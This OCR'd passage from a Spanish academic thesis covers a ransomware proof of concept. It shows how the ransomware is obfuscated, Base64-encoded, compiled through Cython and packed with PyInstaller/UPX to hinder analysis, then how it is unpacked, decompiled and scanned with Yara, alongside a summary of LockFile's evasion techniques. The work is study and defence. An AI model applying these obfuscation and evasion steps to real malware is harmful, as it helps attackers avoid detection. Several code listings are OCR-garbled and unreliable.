1111111111 opy str () .join ([chr (ord (char) - 1111111111 opy - (1111111111 opy +
1111111111 opy 1111111111 opy ) for 1111111111 opy , char in merate (1111111111 opy )])
return eval (1111111111 opy )

[ustracién 41: funcién de cabecera insertada antes del codigo funcional

En las ilustraciones 42 y 43 se muestran el cédigo que produce como resultado después
de procesar una de las pruebas de concepto desarrolladas y el resultado por consola de

la ejecucién de la herramienta, retornando el niimero de palabras transformadas.

5.3.3. Pyobfuscate

Como en otras herramientas, existen operaciones no reversibles y otras que si podrian
deshacerse si aplicamos ingenieria inversa. Entre las no reversibles se encuentran el
renombrado de funciones, clases y variables y la eliminacion de comentarios y
docstrings (descripcion de funciones) [69]. Atn asi podria analizarse el cdédigo en busca

de su funcionalidad.

11111111111 opy = (1111111111 opy  (u"|

11111111111 opy y (1111111111 opy  (u"[Qd

L111111111 _opy
(u"200ca el

ousonzi Tomongp 1)) 11111111111 opy +1111111111 opy +11111111111 opy +11111111111 opy
+11111111111 opy +11111111111 ¢ JLIT11111111 opy +11111111111 opy +11111111111 opy +L1111111111 opy
(1111111111 _opy_ (u" [0 50PanSpef3sepd®") ) 1111111111 opy +11111111111 opy +11111111111 opy
+11111111111 opy +11111111111 opy =U111111111 opy (1111111111 op
(u">O0ceor [ ' Faafm S '))11111111111_opy_ (1111111111 opy
| ' i pi.lT111111111 opy .[11111T1111 opy (1111111111 opy

[ustracién 42: Fragmento de cédigo ofuscado con opy
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: $ python3 opy.py
Opy (TM) Configurable Multi Module Python Obfuscator Version 1.1.28

Copyright (C) Geatec Engineering. License: Apache 2.0 at http://www.apache.org
/1licenses/LICENSE-2.0

Obfuscated words: 707

s [

[lustracion 43: Ejecuciéon de la herramienta opy

Anade instrucciones “chatarra”, sin operatividad, para enrevesar el cddigo y puede
cambiar el sangrado (indentation). Como inconveniente solo se puede aplicar a un
fichero o script independiente. Si se identifica un componente malware ofuscado con
esta herramienta, se puede analizar el codigo de la misma para revertir todo lo que se

pueda. Tiene licencia GPL 2.0.

Las opciones disponibles aparecen en la ilustracion 44. Para realizar el proceso con las
opciones por defecto, ejecutamos la herramienta desde la carpeta de instalacion, con el
nombre del fichero que se quiere ofuscar como tnico parametro y redirigiendo la salida

al nuevo fichero ofuscado.

$ pyobfuscate origen.py > ofuscado.py

pyobfuscate [options] <file>

Options:

--help Print this help.
-indent <num> Indentation to use. Default is 1.
-seed <seed> Seed to use for name randomization. Default is
system time.
-removeblanks Remove blank lines, instead of obfuscate
-keepblanks Keep blank lines, instead of obfuscate
-firstcomment Remove first block of comments as well
-allpublic When __all__ is missing, assume everything is public.
The default is to assume nothing is public.
-verbose Verbose mode.

[lustracién 44: Opciones de pyobfuscate
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Como ejemplo se muestra el resultado (ilustracion 46) para la funcién estaEncriptado()
(ilustracion 45) de una de las pruebas de concepto implementadas. Los comentarios se
intercambian por sentencias condicionales, se produce un renombrado de identificadores

y se anaden espacios en blanco dentro de las instrucciones.

Uno de los defectos encontrados al utilizar este método es la imposibilidad de ofuscar
c6digo con anotaciones de tipado (type hints). Para poder procesar los ficheros se deben

eliminar, ya que en caso contrario la aplicacién finalizarda su ejecucion con la primera

anotacion que se encuentre durante la ofuscacién del cédigo, mostrando un error.

ine()[:-1]
encriptado = i readline()

f encriptado ==

[lustracion 45: Funcién estaEncriptado() sin ofuscar

p 11iiIT1I111
: IiITiill1Ti

th open ( 000000000c00 , 'r' ) as 00o0G00cEEECEE :
I11iiI = 0000000000008 . readline ( ) [ : - 1

t

000000000 , I1l1iiI

Mustracién 46: Funcién estaEncriptado() ofuscada con pyobfuscate
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Entre las caracteristicas comunes de estas herramientas de ofuscacion se encuentra la
imposibilidad de ofuscar la importacién de librerias; si esto ocurre el compilador no sera
capaz de hacer su trabajo, por lo que el analista siempre podra saber qué librerias se

utilizan en cada caso.

Las cadenas de texto (strings) tampoco seran ofuscadas, por lo que se podra vislumbrar
toda salida por consola que utilice el método print(), textos almacenados en variables,
etc. Por ello una practica muy habitual es utilizar la codificacion Base64 para estas
variables. Todo aquello que no se quiere dejar a la vista se codifica, anadiendo una capa
mas de ocultacién, haciendo el cédigo mas ilegible y dificultando el analisis de los
ficheros. Descifrar estos cddigos requerirda mayor esfuerzo y tiempo a invertir aunque
resulte algo trivial para quien conozca la materia. En las pruebas de concepto se define
una funcién que decodifica las variables en tiempo de ejecucion. Estas se han codificado
previamente en Base64 durante el desarrollo del ransomware. Un ejemplo seria el

cddigo html del fichero que notifica a la victima, que aparece codificado en Base64.

Este método también se puede emplear para codificar toda la implementacion del
ransomware, pudiendo ademadas estar ofuscado con anterioridad y aplicando
posteriormente cualquier tipo de compresién, como se ha explicado en un ejemplo

anterior (pyminifier).

5.3.4. Compilar ficheros de Python en lenguaje C - Librerias compartidas

La ofuscaciéon del codigo fuente a través de las herramientas disponibles dificulta en
gran medida el trabajo de ingenieria inversa. Si se quiere complicar atin mas esta tarea
existe un método que mejora notablemente lo conseguido hasta ahora. La peculiaridad

de Python es su alta legibilidad, estd disenado para ser muy comprensible para los

80



humanos. Ofuscar el cdédigo resulta contrario a sus principios, por lo que no es buena
eleccion para quien pretenda comercializar una aplicaciéon con copyright o todo aquel
software que quiera eludir la ingenieria inversa por el motivo que sea, el software

malicioso es un ejemplo.

Los lenguajes compilados en lugar de los interpretados son mas apropiados para ello.
Aplicar la ingenieria inversa a un fichero compilado en lenguaje C tendrd un coste mas
elevado. Existe un procedimiento por el cual un fichero con cédigo Python puede
traducirse a cédigo en lenguaje C para posteriormente compilarse y transformarse en
una libreria compartida de la que podemos hacer uso. Al estar compilada en C tenemos
una ganancia en velocidad de ejecucién y una ofuscacién de mayor nivel. Todo esto es

posible gracias a Cython.

Cython es un moédulo de extension del lenguaje Python que integra un compilador
estatico optimizado. El lenguaje Cython (basado en Pyrex) simplifica la escritura de
modulos de extensién para Python escritas en lenguaje C y C++. Tiene licencia

Apache 2.0 [70]-[71].

Su naturaleza podria describirse como Python con tipos de datos del lenguaje C.
Cualquier fragmento de codigo Python podria ser cédigo Cython valido, con algunas
limitaciones. El compilador de Cython transforma el cédigo Python a lenguaje C. Los
parametros y variables pueden declararse con tipos estaticos del lenguaje C y pueden
llamarse funciones en C desde el cédigo en Cython. Este cédigo es procesado por un
compilador del lenguaje C para posteriormente ser utilizado a través de la importacién

de la libreria generada. Un esquema del procedimiento se muestra en la ilustracion 47.
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compilador

ransomTFG.pyx Cython

0|6

\

- 2
/ .
ransomTFG.c compilador C
/ /
[
—_ _’:::

! ransomIFG.s0

/

N
A

ransomoc.py

Mustracion 47: Procedimiento Cython

Para realizar el proceso se describen dos métodos diferentes:

Método 1 - Comando cython

Una vez instalado Cython en el sistema pueden transformarse las pruebas de concepto

a lenguaje C con la siguiente instruccion desde el intérprete de comandos:

$ cython ransomTFG.py --embed
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La ejecucién de esta instrucciéon crea un nuevo fichero ransomTFG.c que podemos
compilar para generar una libreria compartida para Windows o Linux con
extensiones .pyd o .so respectivamente. Si se utiliza el compilador tce la instrucciéon

seria la siguiente:

$ tce ransomTFG.c -o ransomB.pyd -shared
-1 /usr/include/python3.8/ -L /lib/x86_ 64-linux-gnu/

Una vez generada la libreria compartida ransomB.pyd, se procede a importarla creando
un fichero Python cuya tunica instruccion sera el punto de entrada, en este caso la

funcién que inicia la ejecucién del ransomware (ilustracién 48)

ransomC.py

import ransomB

ransomB. ransomTFG( )

[ustracion 48: Codigo que ejecuta el ransomware importando una libreria compilada

Por ltimo hacemos uso de la herramienta Pylnstaller para generar el ejecutable:

$ pyinstaller --onefile --clean ransomC.py

Método 2 - Archivo setup.py

Implementamos el fichero setup.py con el cédigo indicado en la ilustracion 49. Con la

siguiente instruccién se crea el fichero ransomTFG.c y la libreria compartida ya

compilada ransomTFG.cpython-38-x86_ 64-linux-gnu.so. El parametro --inplace se

utiliza para generar la libreria dentro de la carpeta donde se ejecuta el comando. Este
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método hace uso de la libreria setuptools, que sustituye a la obsoleta distutils,

bibliotecas para crear e instalar médulos en Python.

$ python3 setup.py build_ext --inplace

Solo queda crear el ejecutable a partir del fichero cuyo coédigo importa la libreria en

lenguaje C e inicia el ransomware con la funcién de punto de entrada, de igual modo

que en el método anterior. Otras alternativas disponibles se encuentran en la

documentacion de Cython [72].

ort cythonize

ext modul cythonize( ' ransomTFG.py'),

[ustracion 49: Codigo del fichero setup.py para realizar el proceso Cython

Después de seguir todos los procedimientos, el resultado es la generacién de un fichero
binario ejecutable utilizando compresion UPX cuyo origen es un fichero con codigo
Python que importa una libreria compilada en Lenguaje C. Esta libreria originalmente
estaba implementada en Python, ofuscada, comprimida y codificada en su totalidad en
Base64, junto con otra codificacién anterior de variables de tipo cadena (ilustracion
50). Revertir todo este proceso mediante ingenieria inversa resultarda muy complejo,

mas todavia sin conocer el procedimiento de generacion del ejecutable.

84



fansom.py
ofuscado,
comprimido y
codificado

ransom.py
ofuscado y
comprimido

ransom.py —
strings en Ofuscar codigo r:[ﬁii!:jgy BASEG4
BASE6G4

Fichero
ejecutable
comprimido
UPX

Libreria
ransom.py
Compilada en C,

Fichero python
que importa la
libreria

ransom.py
convertido codigo
C

Mustracion 50: Proceso de generacién del fichero binario ejecutable

5.4. Extrayendo cédigo fuente de un fichero binario ejecutable

Un fichero malicioso localizado en el sistema podria aislarse en un entorno controlado y
analizar su contenido aplicando ingenieria inversa. El objetivo es intentar averiguar su
funcionamiento. Si el software se ha desarrollado en lenguaje Python como ocurre con
las pruebas de concepto y muchos tipos de malware en la actualidad, podria revertirse
el proceso de empaquetado llevado a cabo para crear el ejecutable que contiene el

ransomware.

En lineas generales, el cédigo fuente Python, con extensién .py, se compila en cédigo
intermedio o bytecode, con extensién .pyc, que posteriormente traduce la maquina
virtual de Python cominmente llamada intérprete. El objetivo es obtener el bytecode
para proceder después a intentar descompilarlo o desensamblarlo y mostrar el codigo
fuente o codigo ensamblador. Las herramientas que crean los ejecutables suelen
empaquetar el bytecode junto con el intérprete que lo ejecuta, de modo que no se
necesite tener instalado el intérprete en la maquina donde se utilizard el fichero

ejecutable y funcione de forma auténoma [73].
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Dependiendo de la aplicaciéon empleada para generar los ejecutables puede optarse por
una serie de herramientas para obtener el bytecode y proceder a su descompilacion para

conseguir el codigo fuente del script original.

Para Py2exe:
* unpy2exe (licencia MIT).
* p2ebe (licencia MIT).

* pyREtic (licencia GPL 3.0).

Para Pylnstaller:

* Pyinstxtractor — PyInstaller Extractor (licencia GPL 3.0).

Se usa Pyinstxtractor en este trabajo [74]. En el intérprete de comandos ha de llamarse
a la herramienta con un unico parametro, el nombre del fichero ejecutable que quiere
analizarse. Un ejemplo de la salida se muestra en la ilustracion 51; el programa ofrece
informacion acerca de la versiéon de Python que se ha utilizado para crear el ejecutable
y da pistas de cual podria ser el punto de entrada, esos ficheros seran el objetivo

principal a la hora de comenzar el analisis.

Un punto importante a tener en cuenta es que si el script se ha procesado con una
version de Python diferente a la que se ha utilizado para desarrollar el contenido del
ejecutable, se alertard de ello en la salida. Esto tiene unas implicaciones que deben
corregirse. Lo mas correcto es utilizar un entorno con la misma versiéon de Python para
ejecutar la herramienta, ya que de esta manera las cabeceras de los ficheros .pyc seran
las correctas y el descompilado no generard errores. Ademas de la extraccién correcta

del fichero encriptado .pyz, que de otra manera no se obtendria.
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g $ pyinstxtractor
Usage: pyinstxtractor.py <filename>

3 $ pyinstxtractor ransomTFG
Processing ransomTFG

Pyinstaller version: 2.1+

Python version: 308

Length of package: 11316561 bytes
Found 137 files in CArchive
Beginning extraction...please standby

Possible entry point: pyiboot®1_bootstrap.pyc

Possible entry point: pyi_rth_subprocess.pyc

Possible entry point: pyi_rth_pkgutil.pyc

Possible entry point: pyi_rth_multiprocessing.pyc

Possible entry point: pyi rth_inspect.pyc

Possible entry point: ransomTFG.pyc

Warning: This script is running in a different Python version than the one used to build the executable.
Please run this script in Python308 to prevent extraction errors during unmarshalling

Skipping pyz extraction

Successfully extracted pyinstaller archive: ransomTFG

can now use a python decompiler on the pyc files within the extracted directory

[lustracion 51: Resultado de la ejecucion de Pyinstxtractor

El compilador de cada version de Python deja su huella en los primeros 4 bytes de los
ficheros .pyc o bytecode, que identifica en qué versiéon se ha compilado el cédigo para
generar ese bytecode. Este es el llamado ntimero mégico o firma mégica (magic number
- magic signature). Si como se ha sefialado en la ilustracién 51, se ejecuta la
herramienta en otra version, los ficheros .pyc no tendran la cabecera correcta y el

descompilado no podra llevarse a cabo.

En la ilustracién 52 se muestra el contenido en hexadecimal del fichero ransomTFG.pyc
obtenido del ejecutable a través de Pyinstxtractor. Es uno de los puntos de entrada que
aparecen en la ilustracién 51, aunque ya se sabe de antemano que este es el fichero que
interesa por motivos obvios. Los 4 primeros bytes no coincidiran con los que tienen los
archivos generados por el compilador de la version de Python 3.8, que es la utilizada en
este trabajo. En la ilustraciéon 53 se pueden comprobar cuales son los bytes correctos.
Difieren los primeros 2 bytes, utilizando el formato little endian (el byte de orden

inferior se almacena en la direccién de memoria de orden inferior).
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i) ransomB.pyc ] ransomTFG.c on-38.pyc :_gll ransomTFG.pyc Editores especiales x
Py Py

Offsec(h) 00 Ol 02 03 04 05 06 07 08 09 OA OB OC OD OE OF Texto decodificado ” | Inspector dedatos

00000000 00 00 00 00 00 00 00 00 00 Beveriiiens 44 bl
00000010 00 00 00 00 0O 00 0O 00 00 00 0C -
00000020 40 00 00 00 73 18 03 00 00 64 00 ..... @...s....d. Binary (8 bit) 00110011 "
00000030 01 SA 01 01 00 &4 00 64 02 6C 02 d.l.m.Z...d.d.1l. Int8 Ira: 51
00000040 02 6C 03 SA 03 64 00 64 02 oC 04 Z.d.d.l1.Z.d.d.l.

- - : - - - Uints Ira: 51
00000050 )2 6C 05 SA 05 €4 00 64 02 6C 06 Z.d.d.l.Z.d.d.l.
00000060 2 6C 07 SA 07 €4 00 64 03 &C z.d.d.1.z.d.d.1. Int16 "J
00000070 : €4 00 €4 02 €C OA SA O €4 m.2...d.d.1.2.d. Uint16 Ira; 3379
00000080 64 04 6C OB 6D OC SA OC 01 00 64 00 €4 05 &C OD d.l.m.Z...d.d.1. Int24 Ira: 855347
00000090 €D OE 5A OE 01 00 €4 00 64 02 6C OF SA OF €4 00 m.Z...d.d.l.Z.d. Ulnt24 Ira 855347

[lustracion 52: Nimero méagico erréoneo de fichero extraido con Pyinstxtractor

La solucién es utilizar un editor hexadecimal para corregir estos 4 primeros bytes,
conociendo los niimeros mégicos de cada version de Python, y modificar, en este caso,
los dos primeros bytes: sustituir 0x33 (3379 decimal) por 0x55 (3413 decimal). Con
esta operacion el descompilador finalizara sin errores y podra analizarse el contenido del

fichero bytecode .pyec.

Pyinstxtractor genera una nueva carpeta con el nombre del fichero pasado como
pardametro y la extension _ extracted, donde aparecen numerosas librerias y
ficheros .pyc. El siguiente paso es intentar entender la funcionalidad del ejecutable.
Para esta labor existen descompiladores y desensambladores especificos para bytecode,
entre ellos se prueban uncompyle6, decompyle3, pycdc, pycdas (desensamblador) y
unpyc37 (fork de unpyc3), con resultados similares. Uncompyle6 es la sucesion de
decompyle3, acepta bytecode desde la versiéon 1 hasta la versiéon 3.8 de Python, con

licencia GPL 3.0 [75].

£ ransomB.pyc ] ransomTFG.cpython-38.pyc Editores especiales x

Offset(h) 00 01 02 03 04 05 06 07 08 0% OA OB OC OD OE OF Texto decodificado ” | Inspector de datos
30 21 4C 62 68 69 00 Beevnnn. ' ..
00000000 ss; oD oD 0a]Joo 00 00 00 21 64 6 00 g Ldbhi 144 b bl

00000010 E 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Beveveveeanaonss

00000020 00 0 00 00 00 40 00 00 00 73 18 03 00 00 €4 00 ..... @...s....d. Binary (8 bit) 01010101 N
00000030 €4 01 6C 00 6D 01 SA 0Ol 01 00 €4 00 64 02 6C 02 d.l.m.Z...d.d.l. Int8 ra: 85

00000040 5A 02 €4 00 64 02 6C 03 5A 03 €4 00 64 02 €C 04 2.d.d.l.Z.d.d.l. Ulntd E :

00000050 SA 04 64 00 64 02 6C 05 S5A 05 €4 00 64 02 6C 06 Z.d.d.1l.Z.d.d.l.

00000060 SA 06 64 00 64 02 €C 07 5A 07 64 00 64 03 6C 08 Z.d.d.1.Z.d.d.l. Int16 "i

00000070 6D 0% SA 0% Ol 00 64 00 64 02 6C OA SA OA 64 00 m.Z...d.d.1l.Z.d. Ulnt16 Ira: 3413

00000080 €4 04 6C OB €D SA 01 00 64 64 6C 0D d.l.m.Z...d.d.l. Int24 Ira: 855381

00000090 €D 0E SA OE 01 64 64 02 €C OF SA OF 64 m.Z...d.d.1.Z.d. Ulnt24 Ira: 855381

[ustracion 53: Nimero mégico correcto para la versién 3.8.0 de Python
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En la ilustracion 54 se muestra el resultado de un descompilado finalizado
correctamente. Todo el codigo aparece en texto en claro (ilustracién 55). En la cabecera

aparece el nimero magico (3413) para la versién de Python reconocida (3.8.0).

if __name__ ' _main__"':

ransomTFG()

# okay decompiling ransomA.pyc

[ustracién 54: Descompilado con uncompyle6 finalizado correctamente

Cada instrucciéon en Python se convierte en uno o varios coédigos de operacion
(OPCODE). Hay que tener en cuenta que no todas las versiones de Python
implementan los mismos cddigos de operacion, por lo que al descompilar un bytecode
pueden darse errores al encontrarse determinados tipos de opcode para diferentes
versiones. Conforme Python evoluciona van apareciendo nuevos codigos de operacion,
unos se eliminan y otros se sustituyen. En caso de que haya problemas a la hora de
descompilar, las funciones que generen errores se mostraran con un tipo de cédigo
ensamblador amigable para el entendimiento humano, un cédigo intermedio entre el
cddigo de alto nivel y el lenguaje maquina de ceros y unos. En la ilustracion 56 se
muestra el error que aparece al descompilar la funcién encriptar, mostrando este

cédigo intermedio para una seccién de codigo determinada, normalmente una funcion.

La columna de la izquierda indica el nimero de linea de la instruccion (L. 395) en alto
nivel y las operaciones equivalentes que recibe el intérprete. Cada operacion ocupa 2
bytes, comenzando desde 0, indica el offset o desplazamiento, referencia usada en los
mensajes informativos. En la ilustracion 57 el resultado final del proceso de

descompilado informa de la existencia de uno o varios errores.
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: S luncompyle6 ransomA.pyc
uncompyle6 version 3.8.0
Python bytecode 3.8.0 (3413)
Decompiled from: Python 3.8.10 (default, Mar 15 2022, 12:22:08)

[GCC 9.4.0]
Embedded file name: ransomA.py

Trom asyncio import FastChildwatcner

from getpass import getuser

import os, platform, socket, ssl, struct, sys

from base64 import bé64decode

import gc

from Crypto.Cipher import AES

from secrets import token_hex

import paramiko

from scp import SCPClient

import requests, webbrowser, binascii, pyzipper

huella = b'aHV1bGxh'

archivolLista = b'YXJjaGl2bOxpc3Rh'

notaWeb = b'cmFuc29tVEZHLmhObWw="

html1l = b'PCFETONUWVBFIGhObWw+PGhObWwgbGFuZz0i1ZXM1PjxoZWFkPjxtZXRhIGhOdHAtZXF1aX

Y9IkNvbnR1bnQtVH1lwZSIgY29udGVudDO1dGV4dC90dG1s0yBjaGFyc2VOPYVUR104I j48bWVOYSBuUYW

11PSJ2aWV3cG9ydCIgY29udGVudDOid21kdGg9ZGV2aWN1LXdpZHRoLCBpbmlOaWFsLXNjYWXLPTESIH

Nocmluay10by1maXQ9bm8iPjxtZXRhIGS5hbWUIIMR1c2NyaXBOaWOuIiBjb250ZWSOPSI1PjxtZXRhIG

ShbWU9ImF1dGhvciIgY29udGVudDOiI j48dGLObGU+cmFuc29tVEZHPC90aXRsZT48bGluayByZWw9In

[lustracion 55: Codigo fuente descompilado con uncompyle6

Para la version de Python utilizada en este trabajo, la 3.8, se han encontrado errores
con los bucles, sentencias break para salir cuando se cumple una condicién, y en los
bloques try-catch-finally para el manejo de errores; el descompilador no reconoce
correctamente las sentencias pass y continue y alerta de ello; estas incidencias se van
resolviendo con el tiempo con actualizaciones de la herramienta. Al final de las
operaciones de cada funcién se identifica el offset o desplazamiento donde ocurre el
problema, por lo que pueden trazarse los errores a partir del cédigo que genera el
descompilador (ilustraciéon 58), comprobando la linea de cédigo de alto nivel que lo

provoca y estudiando los saltos y operaciones del codigo intermedio.
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def encriptar--- This code section failed: ---

L. 395 LOAD_GLOBAL AES
LOAD_METHOD new
LOAD_FAST 'clave'
LOAD_GLOBAL AES
LOAD_ATTR MODE_CBC
LOAD_FAST "iv'
CALL_METHOD_3 '
STORE_FAST 'criptoSistema’

LOAD_FAST '"listaArchivos'
GET_ITER

FOR_ITER 'to 208'
STORE_FAST

[ustracién 56: Error durante el descompilado de una funcion

1 [

if __name__ ==
ransomTFG()

__main__

# file ransomC.pyc
# Deparsing stopped due to parse error

[lustracion 57: Descompilado finalizado con errores

L. 438 278 LOAD_CONST None
280 STORE_FAST 'criptoSistema’

L. 439 282 DELETE_FAST 'criptoSistema’

Parse error at or near "POP_EXCEPT' instruction at offset 200

[lustracién 58: Indicacion del origen del error durante el descompilado

Dependiendo de la criticidad del dano causado por el ransomware se pueden destinar
mas recursos a la hora de resolverlo. Es una decisiéon que debe ser estudiada para
disminuir el impacto. Si se produce una parada de los servicios, de cuanto tiempo se
dispone para solucionar el problema. Lo normal es hacer uso de restauracion de
servidores y equipos a partir de copias de seguridad. Si se da el caso que la pérdida de

datos es total habria que pensar en dedicar mas recursos para solventar la situacion,
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antes que realizar el pago del rescate, ya que nadie puede asegurar que los
ciberdelincuentes permitan esa recuperacion, o vuelvan a extorsionar y pedir una

segunda transferencia.

Un estudio méas profundo de este codigo ensamblador, adquiriendo una determinada
destreza, resultarda en una mayor comprension del funcionamiento interno del cédigo
desarrollado. El médulo dist de la biblioteca estdndar, con su funcién dist.dist() y
otras disponibles, nos brinda esta posibilidad; incluye funciones para trabajar con el
bytecode al desensamblarlo [76]. Este médulo no es valido para funciones predefinidas o
builtins del lenguaje, solo para coédigo desarrollado por el usuario. Puede transformarse
cualquier modulo, clase, método, funcién u objeto de cddigo y conocer qué es lo que

recibe el intérprete y las operaciones que realiza sobre la pila o stack.

Para conocer los opcodes de cada versién puede consultarse el fichero include/opcode.h
dentro de cada instalacién, en este caso: /usr/include/python3.8/opcode.h. El modulo
dist puede utilizarse para depurar una excepcion, analizar el rendimiento de bucles,
observar optimizaciones que realiza el compilador, y en el caso que se esta tratando,
analizar el ejecutable malicioso en profundidad a partir de bytecode puro, bytes en

hexadecimal representando opcodes y parametros.

Esto también resulta de utilidad porque podria encontrarse codigo creado
exclusivamente en bytecode. Para ello existen tipos de datos especificos para crear
bytecode, como son CodeType y FunctionType. Podrian recrearse las funciones
convirtiéndolas en bytecode, eliminando la posibilidad de obtener codigo fuente de alto

nivel [77].
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5.5. Detectando el ransomware

Los operadores de todo tipo de malware hacen esfuerzos por evitar la deteccién de sus
creaciones por parte de antivirus y sistemas de deteccion de intrusiones o IDS
(Intrusion Detection System). Numerosas familias de ransomware van especializdandose
en esta labor. Se pone de ejemplo a LockFile, ransomware que despliega técnicas de

evasion de deteccidn.

En lugar de cifrar el contenido completo del fichero, cifra sélo una parte, de forma que
el objetivo de inutilizar la informacién se consigue igualmente y en tiempo maés
reducido. Si la victima se da cuenta del ataque y consigue parar el proceso el nimero

de ficheros afectados habra sido mayor.

Otra ventaja es que al igual que otras familias que utilizan este método, como
BlackMatter, DarkSide y Lockbit 2.0, estos cifran parte del inicio del fichero, creando
una desigualdad estadistica entre el fichero original y el cifrado, de forma que los
sistemas de detecciéon podrian identificarlo. Lockfile cifra en bloques alternos de 16
bytes, lo que se denomina cifrado intermitente, duplicando la velocidad de proceso y
evadiendo algunas soluciones de proteccién basadas en la estadistica, como ejemplo se

aplica chi-cuadrado (x°) y se comparan puntuaciones para evidenciar software malicioso

78],

Otra funciéon caracteristica es el acceso a los ficheros mediante mapeo de memoria
(Memory-mapped 1/0), igual que hacen otros ransomware como WastedLocker y Maze,
permitiendo esta técnica el cifrado del contenido del fichero en memoria, evitando el
uso de funciones comunes de apertura, lectura/escritura y cierre como las

implementadas en las pruebas de concepto. El sistema operativo, en lugar del proceso
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en ejecucion del ransomware, es el encargado de escribir en disco el contenido cifrado
alojado en la memoria caché, minimizando las operaciones sospechosas de
lectura/escritura en disco, que también podrian hacer saltar las alarmas debido a

soluciones de bloqueo basadas en comportamiento.

Una vez finalizado el cifrado, el ransomware también puede eliminarse por si solo, en el
caso de LockFile enviando para ello 5 mensajes ICMP a si mismo (localhost), 5
segundos de tiempo suficiente para cerrar el proceso y ejecutar la instruccion de
eliminacion del binario, dificultando el anélisis posterior al no aparecer en el sistema ni
ser encontrado por un antivirus. Al no conectar con servidor alguno también evitaria la

deteccion de conexiones a determinadas direcciones IP ya identificadas como maliciosas.

Los clasicos antivirus con deteccion de firmas pierden su efectividad con la apariciéon de
nuevas técnicas de evasion, que alteran los binarios hasta dejarlos indetectables. La
ofuscacion y compresion son dos de ellas. Las técnicas anti-analisis también entran en
juego, persiguiendo deshabilitar herramientas de seguridad del sistema aplicando ciertas
técnicas. Se renombran ficheros y se cambian los hashes con el inicio de sesion para
sortear la deteccion, se eliminan o modifican claves del registro de Windows, borran el
registro de eventos, finalizan procesos ejecutados en memoria, deshabilitan los servicios
de Windows que impiden el cifrado de datos y desconectarse de las unidades

compartidas...

El software antivirus puede detectar los ficheros maliciosos empleando varias técnicas:

* Firmas: A partir de una base de datos con firmas de malware ya identificado

previamente, el antivirus calcula el hash de un fichero sospechoso y comprueba

si existe coincidencia. Es facil evadir estas firmas ya que con cualquier minima
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modificacién cambiaria el hash del binario y ya no coincidiria con el almacenado

en la base de datos.

* Heuristica: Analiza el comportamiento de la ejecucion de un fichero en el
sistema, dependiendo de las acciones que realiza se clasifica como malicioso. La

desventaja es el alto nimero de falsos positivos que pueden darse.

» String Signatures: Firmas basadas en cadenas (strings). Se buscan cadenas de
texto o binarias que son basicamente descripciones de familias de malware
basadas en patrones. Si las cadenas continian presentes en el contenido, después

de una modificacion del fichero, seguird siendo posible su identificacion.

Al Tgual que un atacante puede valerse de multitud de herramientas para cometer sus
acciones, pueden encontrarse aplicaciones y utilidades en el bando opuesto, el de la
defensa. Algunas propuestas para la deteccion son el servicio web que ofrece

VirusTotal, Yara y el antivirus ClamAV.

5.5.1. Yara

Es una herramienta de gran utilidad, multiplataforma, con licencia BSD 3-Clause
“New” or “Revised”. Equivale a una licencia BSD 2-Clause con la prohibiciéon de usar
el nombre del proyecto o sus contribuciones para promocionar productos derivados sin

consentimiento escrito.

Utiliza firmas basadas en cadenas (string signatures). Recorre los ficheros en busca de

cadenas definidas en reglas. Si al procesar el fichero se cumplen las condiciones

impuestas por una regla se informa de tal situacion, pudiendo clasificar e identificar el
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fichero como malicioso [79]-[81]. Existen proyectos donde la comunidad publica sus
propias reglas conforme van apareciendo nuevas amenazas [82], y aprovechar esa base
de datos para realizar la consultas que se requieran. Como contrapartida, el hecho de
publicar las reglas hace que los ciberdelincuentes las conozcan y puedan modificar sus
creaciones con tal de evadirlas, por lo que muchas corporaciones deciden mantener a

buen recaudo sus descubrimientos y patrones.

Se han probado las reglas del proyecto Yara-Rules, con licencia GPL 2.0, sobre los
ejecutables generados a partir de las pruebas de concepto. Yara-Rules aporta una base
de datos que incluye multitud de reglas de reconocimiento de patrones clasificadas por

tipo de amenaza:

* Anti-debug / Anti-VM : Reglas para detectar software que utilice técnicas anti-

depuracion y anti-virtualizacion.

* (Capabilities: No se encuadran en el resto de grupos, utiles para realizar analisis

pero no para detectar malware.

* CVE Rules: Identifican vulnerabilidades y exposiciones comunes especificas

(CVEs, Common Vulnerabilities and Exposures).

*  Crypto: Deteccion de la existencia de algoritmos criptograficos.

* Exploit kits: Deteccion de la existencia de herramientas para explotar

vulnerabilidades.
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* Malicious Documents: Identifican documentos manipulados con malware

incrustado.

e Malware: Deteccion de software malicioso conocido.

* Packers: Deteccion de empaquetadores de software conocidos utilizados para

ocultar malware.

*  WebShells: Identifican webshells, puertas traseras (backdoors) en cédigo web.

¢ FEmail: Deteccion de correos electrénicos maliciosos.

* Malware Mobile: Identificaciéon de software malicioso creado para dispositivos

moviles.

* Deprecated: Reglas obsoletas.

Dentro del conjunto de reglas para malware aparece una que detecta la creacion del
ejecutable con el mdédulo Pylnstaller, la identificacion de este patrén no es indicativa de
que sea realmente software malicioso, el antivirus debe obtener mas pruebas para poder
clasificarlo y evitar falsos positivos. Para el conjunto de reglas Crypto y Packers el
escaner no encuentra coincidencia de patrones, cuando realmente si que se hallan estas
funciones inmersas en el codigo. La coincidencia maéas destacable es una regla
perteneciente a capabilities que identifica la apertura, cierre y eliminacién de ficheros,
acciones que suelen llevarse a cabo en todo software identificado como ransomware,
aunque las reglas de esta clasificacion solo dan pistas al analista y no suelen utilizarse

en antivirus.
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Se pueden seleccionar determinadas opciones como parametros al hacer la llamada,
describiéndose en la ilustracion 59. El resultado de aplicar la herramienta a uno de los
ejecutables se muestra en la ilustracion 60, resultando coincidencia con la regla
MachO_File__pyinstaller del paquete malware (ilustracién 61) y la regla ldpreload del
paquete capabilities (ilustraciéon 62). Para mayor detalle, con el comando grep de la

familia Unix pueden localizarse las reglas que se cumplen.

Si se quiere comprobar todo el conjunto de reglas existentes en el proyecto, se elige el
fichero index.yar, que contiene referencias a todos los paquetes. También puede usarse
el que mas convenga en un determinado andlisis, como aparece en la ilustracion 63,
donde se aprecia que no existen coincidencias para el paquete crypto. Los mensajes de
precaucion (warnings) nos informan de que hay un determinado tipo de reglas cuyas
condiciones ralentizan el proceso y no son eficientes si se quieren analizar muchos
ficheros a la vez. En este caso no es problema al ir dirigido solamente a los ejecutables

creados a partir de las pruebas de concepto.

S yara -w _-m -e - g index.yar ./Ejecutables/ransomD
default:ldpreload [] [author="xorseed",reference=" https //[stuff.rop.to/"] ./Ejecutab
les/ransomD
default:MachO_File_pyinstaller [] [author="KatsuragiCSL (https://katsuragicsl.github
.10)",description="Detect Macn-0 file produced by pyinstaller"] ./Ejecutables/ransom
D

$ grep -r -1 "Detect Mach-0 file" ./

description = produce
d by pyinstaller"

